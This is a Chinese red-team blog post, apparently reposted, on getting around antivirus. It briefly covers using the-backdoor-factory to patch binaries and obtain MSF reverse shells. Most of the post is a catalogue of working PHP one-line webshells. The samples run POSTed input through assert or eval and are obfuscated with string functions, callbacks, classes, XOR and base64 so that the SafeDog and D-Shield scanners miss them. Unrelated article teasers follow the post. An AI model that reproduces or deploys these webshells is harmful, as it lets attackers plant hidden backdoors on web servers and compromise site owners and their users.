红队免杀,一句话木马的套路

news2024/12/23 6:47:25

一句话木马的套路

the-backdoor-factory 

安装

Kali下
方式一: git clone https://github.com/secretsquirrel/the-backdoor-factory
方式二: apt-get install backdoor-factory

使用说明

./backdoor.py -h 

检查待检测软件是否支持(如putty.exe)

指定代码裂缝大小

 支持payload模块查询

 使用单代码裂缝注入

 使用多代码裂缝注入

 

结合MSF反弹Shell

 

 

the-backdoor-factory-微信dll劫持(动态链接库)

econ

https://bugs.hacking8.com/tiquan/?m=killdog  安全狗免杀

0x01 前言

尽最大努力在一文中让大家掌握一些有用的 WEBSHELL 免杀技巧。

0x02 关于 eval 于 assert

关于 eval 函数在 php 给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用

可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行

通俗的说比如你 <?php $a=eval;$a() ?> 这样是不行的 也造就了用 eval 的话达不到 assert 的灵活,但是在 php7.1 以上 assert 已经不行

关于 assert 函数

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。当信息能够被其他方法捕获,使用断言可以让它更快更方便!

0x03 字符串变形

字符串变形多数用于 BYPASS 安全狗,相当对于 D 盾,安全狗更加重视"形"

一个特殊的变形就能绕过安全狗,看看 PHP 手册,有着很多关于操作字符串的函数

ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

由于 PHP 的灵活性操作字符串的函数很多,我这里就不一一列举了

用 substr_replace() 函数变形 assert 达到免杀的效果

<?php
$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>

其他函数类似 不一一列举了

0x04 定义函数绕过

定义一个函数把关键词分割达到 bypass 效果

<?php 
function kdog($a){
    $a($_POST['x']);
}
kdog(assert);
?>

反之

<?php 
function kdog($a){
    assert($a);
}
kdog($_POST[x]);
?>

效果一样,这种绕过方法,对安全狗还是比较有效的 在 d 盾面前就显得小儿科了,不过后面会讲到如何用定义函数的方法来 绕过 d 盾

0x05 回调函数

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()

回调函数大部分已经被安全软件加入全家桶套餐 所以找到一个生僻的不常用的回调函数来执行 比如

<?php 
forward_static_call_array(assert,array($_POST[x]));
?>

这个函数能过狗,但是 D 盾显示是一级

0x06 回调函数变形

前面说过众多回调函数已经被加入豪华套餐了,怎么绕过呢,其实也很简单 那就是定义个函数 或者类来调用

定义一个函数

<?php
function test($a,$b){
    array_map($a,$b);
}
test(assert,array($_POST['x']));
?>

定义一个类

<?php
class loveme {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
       array_map($this->a,$this->b);
    }
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
?>

0x07 特殊字符干扰

特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行, 网上广为流传的连接符

初代版本

<?php
$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>

不过已经不能免杀了,利用适当的变形即可免杀 如

<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

其他方法大家尽情发挥如"\r\n\t", 函数返回,类,等等

除了连接符号 还有个命名空间的东西 \ 具体大家可以看看 php 手册

<?php
function dog($a){
    \assert($a);
}
dog($_POST[x]);
?>

当然还有其他的符号熟读 PHP 手册就会有不一样的发现

0x08 数组

把执行代码放入数组中执行绕过

<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];
?>

多维数组

<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));
?>

0x09 类

说到类肯定要搭配上魔术方法比如 __destruct(),__construct()

直接上代码

<?php 
class me
{
  public $a = '';
  function __destruct(){
    assert("$this->a");
  }
}
$b = new me;
$b->a = $_POST['x'];
?>

用类把函数包裹,D 盾对类查杀较弱

0x10 编码绕过

用 php 的编码函数,或者用异或等等

简单的 base64_decode, 其中因为他的正则匹配可以加入一些下划线干扰杀软

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST[x]);
?>

异或

<?php
$a= ("!"^"@").'ssert';
$a($_POST[x]);
?>

0x11 无字符特征马

对于无特征马这里我的意思是 无字符特征

1.利用异或, 编码等方式 例如 p 神博客的

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

1.利用正则匹配字符 如 Tab 等 然后转换为字符

2.利用 POST 包获取关键参数执行 例如

<?php
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
?>

0x12 PHP7.1 后 webshell 何去何从

在 php7.1 后面我们已经不能使用强大的 assert 函数了用 eval 将更加注重特殊的调用方法和一些字符干扰, 后期大家可能更加倾向使用大马

总结

对于安全狗杀形,d 盾杀参的思路来绕过。生僻的回调函数, 特殊的加密方式, 以及关键词的后传入都是不错的选择。

对于关键词的后传入对免杀安全狗,d 盾,河马 等等都是不错的,后期对于菜刀的轮子,也要走向高度的自定义化

用户可以对传出的 post 数据进行自定义脚本加密,再由 webshell 进行解密获取参数,那么以现在的软 WAF 查杀能力

几乎为 0,安全软件也需要与时俱进了。

如有不对,还望大家斧正

【一一帮助安全学习(学习路线+视频教程+工具)一一】

  • 看书学习,这是最最基础的

  • 实际动手,开发路线需要多写代码,阅读优秀开源代码,二进制路线多分析样本,编写 EXP 等等,渗透测试多拿网站练手(合法方式)等

  • 多参与一些网络安全比赛,接近实战的环境下锻炼动手能力

  • 混圈子,多混一些安全大牛出没的社群、社区、论坛,掌握行业信息,了解最新技术变化趋

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/567394.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实验篇(7.2) 03. 部署物理实验环境(下) 远程访问 ❀ Fortinet网络安全专家 NSE4

【简介】考虑到有很多人初次接触FortiGate防火墙硬件&#xff0c;因此在讲解部署物理实验环境的时候&#xff0c;防火墙的初次登录内容介绍的比较多&#xff0c;以致于需要将文章分下、下二篇。下篇我们重点介绍服务器的配置及部署。 防火墙的接口规划 在部署服务器之前&#x…

把被裁说成主动离职,算不算撒谎?

当我们在面试的时候&#xff0c;离职原因可以说是面试官必问问题之一。如果是主动离职并且理由充分&#xff0c;求职者们基本上都是大方坦荡的说出来。 可是在去年各大企业一波降本增效下&#xff0c;不少求职者都是被辞退的情况&#xff0c;在进行面试时到底是直接告诉面试官…

【系统集成】模拟总公司和分公司之间通信(涉及mpls vxn,链路聚合,nat,vlan划分,单臂路由,dhcp....)

目录 一 需求描述 二 需求分析 三 实验拓扑 四 实验配置 4.1 总公司 4.1.1 vlan间通信 4.1.2 dhcp自动分配ip 配置地址池 接口开启dhcp 4.1.3 链路聚合 4.1.4 ospf实现内网通信 4.2 分公司 4.2.1 单臂路由 4.2.2 dhcp自动获取ip 4.2.3 ospf实现内网通信 4.3 mp…

chatgpt赋能python:PythonSHA-1算法:了解、应用及安全性评估

Python SHA-1算法&#xff1a; 了解、应用及安全性评估 SHA-1是一种哈希算法&#xff0c;是Secure Hash Algorithm的缩写&#xff0c;它是一个通过特定算法将任意长度的消息压缩成一定长度输出的标准算法。SHA算法被广泛应用于数字签名、数据完整性校验、信息加密等领域。 Py…

javaScript 给图片加水印

背景 在很多地方&#xff0c;我们都可以看到&#xff0c;上传图片的时候&#xff0c;图片都会被加上默认的水印&#xff0c;水印的作用主要体现在以下几个方面&#xff1a; 1.版权保护&#xff1a;在商业用途的照片中添加水印可以帮助保护作者的版权&#xff0c;防止他人未经…

基于LeNet-5的手写数字识别实战

图像识别是计算机视觉最常用的任务之一&#xff0c;几乎所有的有关图像识别的教程都会将MNIST数据集作为入门数据集&#xff0c;因为MNIST数据集是图像识别问题中难度最小、特征差异较为明显的数据集&#xff0c;非常适合作为图像识别入门者的学习案例。本案例使用MNIST数据集&…

最小二乘法求导-公式推导

多元线性回归模型 1. 建立模型&#xff1a;模型函数 Y ^ W T X \hat{Y} W^TX Y^WTX 如果有 n1 条数据&#xff0c;每条数据有 m1 种x因素&#xff08;每种x因素都对应 1 个权重w&#xff09;&#xff0c;则 &#x1f449;已知数据&#xff1a;实际Y值 [ y 0 y 1 y 2 y 3 . …

【c语言小项目】基于easyX实现的《是男人就下一百层》小游戏

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;c语言系列专栏&#xff1a;c语言之路重点知识整合 &#x…

论述安科瑞智慧消防在高层建筑信息化管理中的作用

安科瑞 徐浩竣 江苏安科瑞电器制造有限公司 zx acrelxhj 【摘要】为了顺应时代的发展&#xff0c;我们做好信息化时代下的“智慧消防”工作&#xff0c;为“智慧城市”的建设奠定良好的基础。本文主要就“智慧消防”的含义、对如高层建筑等单位进行信息化“智慧消防”管理&a…

CryoEM - 使用 3DMod (IMOD) 评估蛋白质三维结构的质量

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://blog.csdn.net/caroline_wendy/article/details/130867416 IMOD 官网&#xff1a;The IMOD Home Page IMOD is a set of image processing, modeling and display programs used for to…

chatgpt赋能python:PythonShe-全面的SEO工具

Python She - 全面的SEO工具 在当今互联网时代&#xff0c;优化网站的排名对于企业的成功至关重要。Python She是一款可靠的SEO工具&#xff0c;它针对搜索引擎优化提供了全面的解决方案。本文将介绍Python She的功能以及如何使用它来提高您的网站排名。 Python She的功能 P…

从感官沉浸到无边界互操作,细数元宇宙游戏的底层逻辑世界

元宇宙已经不是全宇宙最热的概念了&#xff0c;冷下来之后或许才能踏踏实实落地。 元宇宙是下一代的互联网形态&#xff0c;是三维的“空间互联网”。或者说是大家更希望这是未来的互联网。我们将通过VR虚拟现实头盔、AR增强现实眼镜等一系列设备&#xff0c;体验三维化的互联…

《程序员的炫技代码》

程序员&#xff0c;这个职业总是让人感到神秘而又充满魅力。他们手中的代码常常充满了令人惊叹的炫技操作&#xff0c;让人不禁感叹他们的技术能力之高。在这篇文章中&#xff0c;我想和大家分享一些我所知道的程序员的炫技代码。 一行代码实现斐波那契数列 斐波那契数列是一…

外包公司程序员的水平真的很垃圾吗?

在互联网圈存在着这么一条鄙视链&#xff1a;大厂程序员看不起自研小厂程序员&#xff0c;自研小厂程序员看不起外包程序员&#xff0c;很多人觉得自己进了外包以后简历就被污染了&#xff0c;所以哪怕失业都不愿意进外包…… 实际上&#xff0c;何不食肉糜…… 外包可能还把你…

javaWebssh车辆保养管理系统myeclipse开发mysql数据库MVC模式java编程计算机网页设计

一、源码特点 java ssh车辆保养管理系统是一套完善的web设计系统&#xff08;系统采用ssh框架进行设计开发&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用 B/S模式开发。开发环境为TOMCAT7.…

Python竖版大屏 | 用pyecharts开发可视化的奇妙探索2

你好&#xff01;我是马哥python说&#xff0c;一名10年程序猿&#xff0c;正在试错用pyecharts开发可视化大屏的非常规排版。 以下&#xff0c;我用8种ThemeType展示的同一个可视化数据大屏&#xff0c;可视化主题是分析淄博烧烤现象。 1、SHINE主题 2、LIGHT主题 3、MACARO…

API测试| 了解API接口测试| API接口测试指南

什么是API&#xff1f; API是一个缩写&#xff0c;它代表了一个 pplication P AGC软件覆盖整个房间。API是用于构建软件应用程序的一组例程&#xff0c;协议和工具。API指定一个软件程序应如何与其他软件程序进行交互。 例行程序&#xff1a;执行特定任务的程序。例程也称为过…

23 # generator 的使用

1、类数组&#xff1a;长的像数组 const likeArray {0: "a",1: "b",2: "c",3: "d",length: 4 };可以 Array.from 将类数组转为数组 Array.from(likeArray) // [ a, b, c, d ]也可以使用拓展运算符&#xff1a;原理就是遍历这个对象…

【LIS的nlogn做法】ABC134 E - Sequence Decomposing

E - Sequence Decomposing (atcoder.jp) 题意&#xff1a; 思路&#xff1a; 让你求一个序列里上升子序列个数 Dilworth定理告诉我们答案就是最长非上升子序列长度 那就是反着用nlogn求最长上升子序列长度 可以当板子用 Code&#xff1a; #include <bits/stdc.h>#d…

死磕测试10余年,呕心整理出了核心知识点已经做成PDF,无私奉献

前言 想在面试、工作中脱颖而出&#xff1f;想在最短的时间内快速掌握软件测试的核心基础知识点&#xff1f;想要成为一位优秀的软件测试工程师&#xff1f;本篇文章能助你一臂之力&#xff01; 目前正值招聘求职旺季&#xff0c;很多同学对一些新技术名词都能侃侃而谈&#…